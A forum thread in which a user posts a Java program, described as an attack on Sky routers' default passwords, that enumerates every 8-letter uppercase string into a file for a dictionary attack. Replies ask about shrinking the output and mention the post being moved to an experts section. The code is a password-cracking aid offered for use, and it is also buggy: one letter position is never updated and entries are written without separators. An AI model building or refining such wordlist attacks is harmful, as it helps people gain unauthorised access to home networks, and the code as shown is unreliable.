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    Default Generator: Attacking SKY default router password

    Hello their,
    This is a little script i made in 10 mins for attacking the default sky password. Its written in Java and it generators a a file for use in a dictionary attack.

    This script is based on a post made by; christ044 so credit to him for informing me of the defaults. THANK-YOU!

    Quote Originally Posted by christ044 View Post
    Another idea for your website, would it not be an idea to give more route/isp details? As an example i know that a sky router (in the uk) comes set as standard with 8 chars A-Z, talktalk is 10 chars 0-9 a-z A-Z al mixed but not next to one another. I know people change the default password but not that many would, and with the extra info it could reduce checking time?
    Only a thought, keep up the good work
    Anyways here it is. Its in Java. Save it as SkyDicGen.java. Use your compiler software then run it a console.
    Code:
    // AUTHOR: GINGERP
    import java.io.*;
    class SkyDicGen 
    {
    	static void showMsg(String a){
    		if(true){ // change to false if you don't want a running update. It makes it quick but it looks like it crashes
    			System.out.println(a);
    		}
    	}
    	public static void main(String[] args) 
    	{
    		System.out.println("Starting");
    		try{
    			System.out.println("Opening File");
    			// Create file 
    			FileWriter fstream = new FileWriter("out.txt"); // Where to Save
    			BufferedWriter out = new BufferedWriter(fstream);
    			char[] letters = {'Q','W','E','R','T','Y','U','I','O','P','A','S','D','F','G','H','J','K','L','Z','X','C','V','B','N','M'};
    
    			char lone = 'A'; // Set up variable with letter to stop JAVA crying :)
    			char ltwo = 'A';
    			char lthree = 'A';
    			char lfour = 'A';
    			char lfive = 'A';
    			char lsix = 'A';
    			char lseven = 'A';
    			char leight = 'A';
    
    			char cone = 0; // set up counters
    			char ctwo = 0;
    			char cthree = 0;
    			char cfour = 0;
    			char cfive = 0;
    			char csix = 0;
    			char cseven = 0;
    			char ceight = 0;
    
    			while(cone<26){
    				lone=letters[cone];
    				ctwo=0;
    				while(ctwo<26){
    					ltwo=letters[ctwo];
    					cthree=0;
    					while(cthree<26){
    						lfour=letters[cthree];
    						cfour=0;
    						while(cfour<26){
    							lfour=letters[cfour];
    							cfive=0;
    							while(cfive<26){
    								lfive=letters[cfive];
    								csix=0;
    								while(csix<26){
    									lsix=letters[csix];
    									cseven=0;
    									while(cseven<26){
    										lseven=letters[cseven];
    										ceight=0;
    										while(ceight<26){
    											leight=letters[ceight];
    											out.write(""+lone+ltwo+lthree+lfour+lfive+lsix+lseven+leight);
    											ceight++;
    										}
    										cseven++;
    									}
    									csix++;
    								}
    								showMsg(""+lone+ltwo+lthree+lfour+lfive+lsix+lseven+leight);
    								cfive++;
    							}
    							showMsg(""+lone+ltwo+lthree+lfour+lfive+lsix+lseven+leight);
    							cfour++;
    						}
    						showMsg(""+lone+ltwo+lthree+lfour+lfive+lsix+lseven+leight);
    						cthree++;
    					}
    					showMsg(""+lone+ltwo+lthree+lfour+lfive+lsix+lseven+leight);
    					ctwo++;
    				}
    				showMsg(""+lone+ltwo+lthree+lfour+lfive+lsix+lseven+leight);
    				cone++;
    			}
    			System.out.println("Closing File");
    			out.close();
    		}catch (Exception e){//Catch exception if any
    			System.out.println("Failed!");
    			System.err.println("Error: " + e.getMessage());
    		}
    		System.out.println("Completed");
    	}
    }
    Hope it helps you and sorry if there are any bugs, i rushed it
    Thank-you all for your time
    GingerP

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    Default Re: Generator: Attacking SKY default router password

    How did you get on with your script? What size did the file reach and how long did it take to make?

    I've downloaded some java software, RAD Studio (not that I can use it =S ) but I don't know how to make your script work, but however, I was wondering if some alterations can be made to the script!
    To make the file smaller, and save some memory time, I was wondering if the script could be used to ignore every word generated with has 5 of the same characters i.e. AAAAAXYZ.

    Its unlikely to get a password with 5 identical characters, and maybe use a tweaked version of the same script for passwords with 5 or more matching words, just in case the initial file doesn't work.

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    Default Re: Generator: Attacking SKY default router password

    I doubt this will be included into BackTrack considering the limited user base that it would have.
    To my knowledge SKY routers are available to English SKY customers only.
    However thanks for sharing this.
    Also This has been moved to the experts section.
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